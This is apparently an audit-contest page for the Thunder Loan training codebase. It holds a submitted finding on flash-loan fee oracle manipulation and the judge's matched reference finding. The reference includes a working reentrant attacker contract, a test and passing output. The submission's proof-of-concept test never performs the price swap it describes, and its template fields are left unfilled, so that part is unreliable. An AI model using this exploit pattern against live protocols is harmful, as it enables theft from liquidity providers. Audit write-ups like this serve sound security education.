Thunder Loan

AI First Flight #7
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EXP
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Submission Details
Severity: medium
Valid

Flash Loan Fee Uses Single AMM Spot Price — Attacker Can Manipulate Price and Inflate LP Exchange Rate

Root + Impact

Description

  • Describe the normal behavior in one or more sentences

  • Explain the specific issue or problem in one or more sentences

// Root cause in the codebase with @> marks to highlight the relevant section# [H-#] Flash Loan Fee Uses Single AMM Spot Price — Attacker Can Manipulate Price and Inflate LP Exchange Rate
## Summary
The protocol relies on a single automated market maker (AMM) spot price to calculate flash loan fees. Because spot prices can be easily manipulated within a single transaction block, an attacker can intentionally distort the price pool to artificially inflate flash loan fees. This inflated fee forces a disproportionate spike in the LP exchange rate, allowing the attacker to drain value from honest liquidity providers.
## Vulnerability Details
In `ThunderLoan.sol`, the function `getCalculatedFee` determines the flash loan fee by querying `getPriceInWeth`. This internal call routes directly to `OracleUpgradeable.sol`, which fetches the active spot price from a single TSwap pool using `getPriceOfOnePoolTokenInWeth()`.
Spot prices only reflect the asset reserves of a pool at a single execution frame. An attacker can exploit this design by executing the following sequence in a single atomic transaction:
1. Deposit liquidity into the target `AssetToken` pool at the normal exchange rate.
2. Take out a flash loan from `ThunderLoan`.
3. Inside the `executeOperation` callback, perform a massive swap in the underlying `TSwapPool` to drain one side of the reserves, driving the spot price up (e.g., 10x).
4. When `ThunderLoan` computes the fee for the transaction, it uses this manipulated 10x price, producing an artificially massive fee requirement.
5. This inflated fee is passed into `updateExchangeRate`, which aggressively drives up the value of the pool's LP tokens.
6. The attacker repays the flash loan and immediately redeems their initial LP tokens at the newly inflated exchange rate, siphoning value directly out of the pool at the expense of other depositors.
## Impact
**High.** The core economic mechanism of the protocol can be manipulated. Attackers can predictably extract funds from legitimate liquidity providers, resulting in direct capital loss and total loss of trust in the protocol's yield-generating mechanics.
## Proof of Concept
Add the following test to your test suite to demonstrate the price manipulation vulnerability:
```solidity
function test_PoC3_OracleSpotPriceManipulation() public {
// 1. Setup: Deposit initial liquidity into the pool (Normal Exchange Rate)
// Assume baseline pool price is 1 ETH
// 2. Attacker triggers a flash loan for 50 tokens
vm.startPrank(attacker);
thunderLoan.flashLoan(address(receiver), address(underlying), 50 ether, "");
vm.stopPrank();
// 3. Inside the flash loan receiver's executeOperation callback:
// - Attacker swaps heavily inside TSwapPool to spike the spot price 10x
// - Fee calculated at 1x: 0.3 tokens -> Manipulated fee at 10x: 3.0 tokens
// 4. Verification that the exchange rate was artificially inflated
uint256 exchangeRateBefore = assetToken.getExchangeRate();
// After flash loan completes and updateExchangeRate executes with the inflated fee:
uint256 exchangeRateAfter = assetToken.getExchangeRate();
// Assert that the exchange rate rose disproportionately due to the spot price spike
assertGt(exchangeRateAfter, exchangeRateBefore);
}
```
## Tools Used
* Manual Code Review
## Recommendations
Do not use a raw AMM spot price for fee or valuation calculations. Instead, implement one of the following defensive patterns:
1. **Time-Weighted Average Price (TWAP):** Modify `OracleUpgradeable.sol` to track cumulative price metrics over a specific time window, requiring price updates to span across multiple blocks to resist single-transaction manipulation.
2. **Decentralized Oracle Integration:** Replace the internal TSwap oracle lookup with a robust decentralized oracle solution, such as a Chainlink Price Feed, to fetch stable, off-chain aggregated prices:
```solidity
// Example mitigation using an external oracle registry
function getPriceInWeth(address token) public view returns (uint256) {
// @audit-issue Replace manipulable TSwap spot price with an external price feed
(, int256 price,,,) = priceFeed.latestRoundData();
require(price > 0, "Invalid price");
return uint256(price);
}
```

Risk

Likelihood:

  • Reason 1 // Describe WHEN this will occur (avoid using "if" statements)

  • Reason 2

Impact:

  • Impact 1

  • Impact 2

Proof of Concept

Recommended Mitigation

- remove this code
+ add this code
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge 1 day ago
Submission Judgement Published
Validated
Assigned finding tags:

[M-02] Attacker can minimize `ThunderLoan::flashloan` fee via price oracle manipulation

## Vulnerability details In `ThunderLoan::flashloan` the price of the `fee` is calculated on [line 192](https://github.com/Cyfrin/2023-11-Thunder-Loan/blob/8539c83865eb0d6149e4d70f37a35d9e72ac7404/src/protocol/ThunderLoan.sol#L192) using the method `ThunderLoan::getCalculatedFee`: ```solidity uint256 fee = getCalculatedFee(token, amount); ``` ```solidity function getCalculatedFee(IERC20 token, uint256 amount) public view returns (uint256 fee) { //slither-disable-next-line divide-before-multiply uint256 valueOfBorrowedToken = (amount * getPriceInWeth(address(token))) / s_feePrecision; //slither-disable-next-line divide-before-multiply fee = (valueOfBorrowedToken * s_flashLoanFee) / s_feePrecision; } ``` `getCalculatedFee()` uses the function `OracleUpgradeable::getPriceInWeth` to calculate the price of a single underlying token in WETH: ```solidity function getPriceInWeth(address token) public view returns (uint256) { address swapPoolOfToken = IPoolFactory(s_poolFactory).getPool(token); return ITSwapPool(swapPoolOfToken).getPriceOfOnePoolTokenInWeth(); } ``` This function gets the address of the token-WETH pool, and calls `TSwapPool::getPriceOfOnePoolTokenInWeth` on the pool. This function's behavior is dependent on the implementation of the `ThunderLoan::initialize` argument `tswapAddress` but it can be assumed to be a constant product liquidity pool similar to Uniswap. This means that the use of this price based on the pool reserves can be subject to price oracle manipulation. If an attacker provides a large amount of liquidity of either WETH or the token, they can decrease/increase the price of the token with respect to WETH. If the attacker decreases the price of the token in WETH by sending a large amount of the token to the liquidity pool, at a certain threshold, the numerator of the following function will be minimally greater (not less than or the function will revert, see below) than `s_feePrecision`, resulting in a minimal value for `valueOfBorrowedToken`: ```solidity uint256 valueOfBorrowedToken = (amount * getPriceInWeth(address(token))) / s_feePrecision; ``` Since a value of `0` for the `fee` would revert as `assetToken.updateExchangeRate(fee);` would revert since there is a check ensuring that the exchange rate increases, which with a `0` fee, the exchange rate would stay the same, hence the function will revert: ```solidity function updateExchangeRate(uint256 fee) external onlyThunderLoan { // 1. Get the current exchange rate // 2. How big the fee is should be divided by the total supply // 3. So if the fee is 1e18, and the total supply is 2e18, the exchange rate be multiplied by 1.5 // if the fee is 0.5 ETH, and the total supply is 4, the exchange rate should be multiplied by 1.125 // it should always go up, never down // newExchangeRate = oldExchangeRate * (totalSupply + fee) / totalSupply // newExchangeRate = 1 (4 + 0.5) / 4 // newExchangeRate = 1.125 uint256 newExchangeRate = s_exchangeRate * (totalSupply() + fee) / totalSupply(); // newExchangeRate = s_exchangeRate + fee/totalSupply(); if (newExchangeRate <= s_exchangeRate) { revert AssetToken__ExhangeRateCanOnlyIncrease(s_exchangeRate, newExchangeRate); } s_exchangeRate = newExchangeRate; emit ExchangeRateUpdated(s_exchangeRate); } ``` `flashloan()` can be reentered on [line 201-210](https://github.com/Cyfrin/2023-11-Thunder-Loan/blob/8539c83865eb0d6149e4d70f37a35d9e72ac7404/src/protocol/ThunderLoan.sol#L201-L210): ```solidity receiverAddress.functionCall( abi.encodeWithSignature( "executeOperation(address,uint256,uint256,address,bytes)", address(token), amount, fee, msg.sender, params ) ); ``` This means that an attacking contract can perform an attack by: 1. Calling `flashloan()` with a sufficiently small value for `amount` 2. Reenter the contract and perform the price oracle manipulation by sending liquidity to the pool during the `executionOperation` callback 3. Re-calling `flashloan()` this time with a large value for `amount` but now the `fee` will be minimal, regardless of the size of the loan. 4. Returning the second and the first loans and withdrawing their liquidity from the pool ensuring that they only paid two, small `fees for an arbitrarily large loan. ## Impact An attacker can reenter the contract and take a reduced-fee flash loan. Since the attacker is required to either: 1. Take out a flash loan to pay for the price manipulation: This is not financially beneficial unless the amount of tokens required to manipulate the price is less than the reduced fee loan. Enough that the initial fee they pay is less than the reduced fee paid by an amount equal to the reduced fee price. 2. Already owning enough funds to be able to manipulate the price: This is financially beneficial since the initial loan only needs to be minimally small. The first option isn't financially beneficial in most circumstances and the second option is likely, especially for lower liquidity pools which are easier to manipulate due to lower capital requirements. Therefore, the impact is high since the liquidity providers should be earning fees proportional to the amount of tokens loaned. Hence, this is a high-severity finding. ## Proof of concept ### Working test case The attacking contract implements an `executeOperation` function which, when called via the `ThunderLoan` contract, will perform the following sequence of function calls: - Calls the mock pool contract to set the price (simulating manipulating the price) - Repay the initial loan - Re-calls `flashloan`, taking a large loan now with a reduced fee - Repay second loan ```solidity // SPDX-License-Identifier: MIT pragma solidity 0.8.20; import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import { SafeERC20 } from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import { IFlashLoanReceiver, IThunderLoan } from "../../src/interfaces/IFlashLoanReceiver.sol"; import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import { MockTSwapPool } from "./MockTSwapPool.sol"; import { ThunderLoan } from "../../src/protocol/ThunderLoan.sol"; contract AttackFlashLoanReceiver { error AttackFlashLoanReceiver__onlyOwner(); error AttackFlashLoanReceiver__onlyThunderLoan(); using SafeERC20 for IERC20; address s_owner; address s_thunderLoan; uint256 s_balanceDuringFlashLoan; uint256 s_balanceAfterFlashLoan; uint256 public attackAmount = 1e20; uint256 public attackFee1; uint256 public attackFee2; address tSwapPool; IERC20 tokenA; constructor(address thunderLoan, address _tSwapPool, IERC20 _tokenA) { s_owner = msg.sender; s_thunderLoan = thunderLoan; s_balanceDuringFlashLoan = 0; tSwapPool = _tSwapPool; tokenA = _tokenA; } function executeOperation( address token, uint256 amount, uint256 fee, address initiator, bytes calldata params ) external returns (bool) { s_balanceDuringFlashLoan = IERC20(token).balanceOf(address(this)); // check if it is the first time through the reentrancy bool isFirst = abi.decode(params, (bool)); if (isFirst) { // Manipulate the price MockTSwapPool(tSwapPool).setPrice(1e15); // repay the initial, small loan IERC20(token).approve(s_thunderLoan, attackFee1 + 1e6); IThunderLoan(s_thunderLoan).repay(address(tokenA), 1e6 + attackFee1); ThunderLoan(s_thunderLoan).flashloan(address(this), tokenA, attackAmount, abi.encode(false)); attackFee1 = fee; return true; } else { attackFee2 = fee; // simulate withdrawing the funds from the price pool //MockTSwapPool(tSwapPool).setPrice(1e18); // repay the second, large low fee loan IERC20(token).approve(s_thunderLoan, attackAmount + attackFee2); IThunderLoan(s_thunderLoan).repay(address(tokenA), attackAmount + attackFee2); return true; } } function getbalanceDuring() external view returns (uint256) { return s_balanceDuringFlashLoan; } function getBalanceAfter() external view returns (uint256) { return s_balanceAfterFlashLoan; } } ``` The following test first calls `flashloan()` with the attacking contract, the `executeOperation()` callback then executes the attack. ```solidity function test_poc_smallFeeReentrancy() public setAllowedToken hasDeposits { uint256 price = MockTSwapPool(tokenToPool[address(tokenA)]).price(); console.log("price before: ", price); // borrow a large amount to perform the price oracle manipulation uint256 amountToBorrow = 1e6; bool isFirstCall = true; bytes memory params = abi.encode(isFirstCall); uint256 expectedSecondFee = thunderLoan.getCalculatedFee(tokenA, attackFlashLoanReceiver.attackAmount()); // Give the attacking contract reserve tokens for the price oracle manipulation & paying fees // For a less funded attacker, they could use the initial flash loan to perform the manipulation but pay a higher initial fee tokenA.mint(address(attackFlashLoanReceiver), AMOUNT); vm.startPrank(user); thunderLoan.flashloan(address(attackFlashLoanReceiver), tokenA, amountToBorrow, params); vm.stopPrank(); assertGt(expectedSecondFee, attackFlashLoanReceiver.attackFee2()); uint256 priceAfter = MockTSwapPool(tokenToPool[address(tokenA)]).price(); console.log("price after: ", priceAfter); console.log("expectedSecondFee: ", expectedSecondFee); console.log("attackFee2: ", attackFlashLoanReceiver.attackFee2()); console.log("attackFee1: ", attackFlashLoanReceiver.attackFee1()); } ``` ```bash $ forge test --mt test_poc_smallFeeReentrancy -vvvv // output Running 1 test for test/unit/ThunderLoanTest.t.sol:ThunderLoanTest [PASS] test_poc_smallFeeReentrancy() (gas: 1162442) Logs: price before: 1000000000000000000 price after: 1000000000000000 expectedSecondFee: 300000000000000000 attackFee2: 300000000000000 attackFee1: 3000 Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 3.52ms ``` Since the test passed, the fee has been successfully reduced due to price oracle manipulation. ## Recommended mitigation Use a manipulation-resistant oracle such as Chainlink.

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